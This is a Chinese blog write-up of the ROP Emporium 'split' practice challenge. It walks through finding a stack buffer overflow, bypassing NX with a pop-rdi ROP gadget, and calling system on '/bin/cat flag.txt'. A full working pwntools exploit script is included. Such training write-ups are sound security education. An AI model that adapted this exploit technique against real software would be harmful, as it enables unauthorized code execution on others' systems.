这里只是一道简单的栈溢出问题,但是因为设置NX,所以要通过rop来执行shellcode。 参考链接:https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08

前期信息搜集

这篇文章里前期用到了radare2这个工具来查看程序信息,之前没用过,学习一波。 用rabin2 -I 来查看程序的架构等信息,其实用file就可以。

用rabin2 -izz 来查找信息,用strings也是可以的。

然后用checksec查看一下防护措施:

查看反汇编

main函数:

pwnme函数:

很明显s数组是0x20的大小,而后面的fgets却接受了96大小的数据。

usefulFunction函数:

竟然还有这种函数,好吧,我是看腾讯玄武每日推送打开这篇文章的。。。

现在就看看怎么构造rop了?

X64 下函数参数传递的顺序为:RDI,RSI,RDX,R10,R8,R9,所以我们把system里的参数变成”/bin/cat flag.txt“就行了,即这个参数传入rdi寄存器中。用ropper搜索 ”pop rdi; ret;“,pop rdi;就是将栈顶的数据弹给rdi,然后ret返回执行栈中的下一条指令,我们填充的system的地址,这样我们就实现攻击了。

rop的步骤:

  • 利用fgets()来填充buffer,将返回地址覆盖为pwnme的地址
  • 建立rop链把’/bin/cat flag.txt’传入RDI寄存器
  • 调用system()

exp.py

# coding: utf-8
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('split')
system_addr = 0x400810
cat_addr = 0x601060
pop_rdi_ret = 0x400883
fake_ret = 0x42424242
p = process(elf.path)
p.sendline(cyclic(128))#产生128个随机字符
p.wait()
core = p.corefile#获取崩溃文件,根据崩溃文件来得到rsp的地址
stack = core.rsp
info("stack: %#x",stack)
pattern = core.read(stack,4)#读取rsp保存的内容,即随机字符
offset = cyclic_find(pattern)#根据随机字符找偏移,这里其实简单一算:0x20+8(rbp)=0x28=40个偏移
info("pattern: %r", pattern)
info("offset: %d",offset)
rop_chain = p64(pop_rdi_ret)
rop_chain += p64(cat_addr)
rop_chain += p64(system_addr)
rop_chain += p64(fake_ret)
padding = cyclic(offset)
payload = padding + rop_chain
p = process(elf.path)
p.sendline(payload)
p.interactive()

运行结果图:

结论

这篇文章讲的这道还是很简单的,了解了radare2这个工具,下面这个网站上有很多rop的题可以练习,然后之前还看到一个srop的东西,抽空把这个坑填上。

split下载地址:https://ropemporium.com/